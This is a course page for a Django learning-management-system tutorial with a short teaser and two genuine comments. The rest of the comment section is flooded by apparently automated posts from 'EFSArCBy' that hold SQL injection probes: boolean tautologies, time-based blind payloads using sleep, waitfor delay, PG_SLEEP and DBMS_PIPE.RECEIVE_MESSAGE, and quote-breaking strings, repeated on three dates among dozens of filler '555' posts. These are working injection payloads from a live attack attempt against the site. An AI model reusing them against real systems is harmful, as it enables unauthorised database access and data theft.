Course models and pages - Build a Learning Management System Using Django

You need to be subscribed to a plan to get access to the full course.

In this part, we will set up the database models for courses and also display them on the front page.

Comments

katamba muhamad | Aug 26, 25 04:10

the on-boarding process is not that simple


Stein Ove Helset | Nov 19, 25 09:58

Is there anything specific I can help you understand? :-)

EFSArCBy | Jul 02, 26 09:52

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

-1 OR 2+44-44-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:04

-1 OR 2+976-976-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:04

-1' OR 2+85-85-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:04

-1' OR 2+701-701-1=0+0+0+1 or 'nOnBx5uz'='

EFSArCBy | Jul 02, 26 10:04

-1" OR 2+501-501-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:04

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:04

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:04

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:04

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:04

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:04

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:04

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:04

555OjVvBAma'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:04

555-1 OR 719=(SELECT 719 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555-1) OR 798=(SELECT 798 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555-1)) OR 541=(SELECT 541 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555tko8TpQp' OR 454=(SELECT 454 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555F433kyBH') OR 875=(SELECT 875 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555jpCE6QNA')) OR 16=(SELECT 16 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:04

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:04

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555'"

EFSArCBy | Jul 02, 26 10:04

@@gjEid

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

-1 OR 2+814-814-1=0+0+0+1 -- | Jul 02, 26 10:04

555

-1 OR 2+890-890-1=0+0+0+1 | Jul 02, 26 10:04

555

-1' OR 2+782-782-1=0+0+0+1 -- | Jul 02, 26 10:04

555

-1' OR 2+879-879-1=0+0+0+1 or 'xX3mMWNy'=' | Jul 02, 26 10:04

555

-1" OR 2+325-325-1=0+0+0+1 -- | Jul 02, 26 10:04

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:04

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:04

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:04

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:04

555

EFSArCByGKskHoe0'; waitfor delay '0:0:15' -- | Jul 02, 26 10:04

555

EFSArCByCNSc1jeL' OR 292=(SELECT 292 FROM PG_SLEEP(15))-- | Jul 02, 26 10:04

555

EFSArCByiv2Br3I9') OR 900=(SELECT 900 FROM PG_SLEEP(15))-- | Jul 02, 26 10:04

555

EFSArCByLsAV2Q7G')) OR 456=(SELECT 456 FROM PG_SLEEP(15))-- | Jul 02, 26 10:04

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy'" | Jul 02, 26 10:04

555

@@LThnA | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 20, 26 10:59

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

-1 OR 2+377-377-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:07

-1 OR 2+908-908-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:07

-1' OR 2+373-373-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:07

-1' OR 2+432-432-1=0+0+0+1 or 'meNzCrVi'='

EFSArCBy | Jul 20, 26 11:07

-1" OR 2+832-832-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:07

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:07

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:07

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:07

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:07

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:07

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:07

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:07

55564jSlnwx'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:07

555-1 OR 80=(SELECT 80 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555-1) OR 789=(SELECT 789 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555-1)) OR 704=(SELECT 704 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555DeZyA89a' OR 971=(SELECT 971 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555J3vArvAx') OR 537=(SELECT 537 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555AdHC3p0i')) OR 120=(SELECT 120 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:07

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:07

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555'"

EFSArCBy | Jul 20, 26 11:07

@@rQ0jk

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

-1 OR 2+487-487-1=0+0+0+1 -- | Jul 20, 26 11:07

555

-1 OR 2+919-919-1=0+0+0+1 | Jul 20, 26 11:07

555

-1' OR 2+966-966-1=0+0+0+1 -- | Jul 20, 26 11:07

555

-1' OR 2+546-546-1=0+0+0+1 or 'uETSP240'=' | Jul 20, 26 11:07

555

-1" OR 2+38-38-1=0+0+0+1 -- | Jul 20, 26 11:07

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:07

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:07

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:07

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:07

555

EFSArCBykjyJqaYQ'; waitfor delay '0:0:15' -- | Jul 20, 26 11:07

555

EFSArCBylr773bQV' OR 932=(SELECT 932 FROM PG_SLEEP(15))-- | Jul 20, 26 11:07

555

EFSArCByxLF55mxw') OR 348=(SELECT 348 FROM PG_SLEEP(15))-- | Jul 20, 26 11:07

555

EFSArCByTNjsSloV')) OR 271=(SELECT 271 FROM PG_SLEEP(15))-- | Jul 20, 26 11:07

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy'" | Jul 20, 26 11:07

555

@@XWZnU | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 20, 26 11:07

555

EFSArCBy | Jul 23, 26 02:00

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

-1 OR 2+544-544-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:02

-1 OR 2+308-308-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:02

-1' OR 2+14-14-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:02

-1' OR 2+356-356-1=0+0+0+1 or 'eKrPN7iO'='

EFSArCBy | Jul 23, 26 02:02

-1" OR 2+327-327-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:02

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:02

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:02

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:02

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:02

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:02

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:02

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:02

555yvCZZj6L'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:02

555-1 OR 983=(SELECT 983 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

555-1) OR 786=(SELECT 786 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

555-1)) OR 48=(SELECT 48 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

555xIEyBpa4' OR 941=(SELECT 941 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

555VinyTvHe') OR 882=(SELECT 882 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

5550jMhhSzw')) OR 341=(SELECT 341 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:02

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:02

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555'"

EFSArCBy | Jul 23, 26 02:02

@@6zKpf

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

-1 OR 2+75-75-1=0+0+0+1 -- | Jul 23, 26 02:02

555

-1 OR 2+501-501-1=0+0+0+1 | Jul 23, 26 02:02

555

-1' OR 2+305-305-1=0+0+0+1 -- | Jul 23, 26 02:02

555

-1' OR 2+812-812-1=0+0+0+1 or 'xKaB4o4b'=' | Jul 23, 26 02:02

555

-1" OR 2+798-798-1=0+0+0+1 -- | Jul 23, 26 02:02

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:02

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:02

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:02

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:02

555

EFSArCBySl9rh0j6'; waitfor delay '0:0:15' -- | Jul 23, 26 02:02

555

EFSArCByRx7oWftg' OR 311=(SELECT 311 FROM PG_SLEEP(15))-- | Jul 23, 26 02:02

555

EFSArCByDDM3iEWt') OR 888=(SELECT 888 FROM PG_SLEEP(15))-- | Jul 23, 26 02:02

555

EFSArCBypHIBRBge')) OR 783=(SELECT 783 FROM PG_SLEEP(15))-- | Jul 23, 26 02:02

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy'" | Jul 23, 26 02:02

555

@@j9GEJ | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.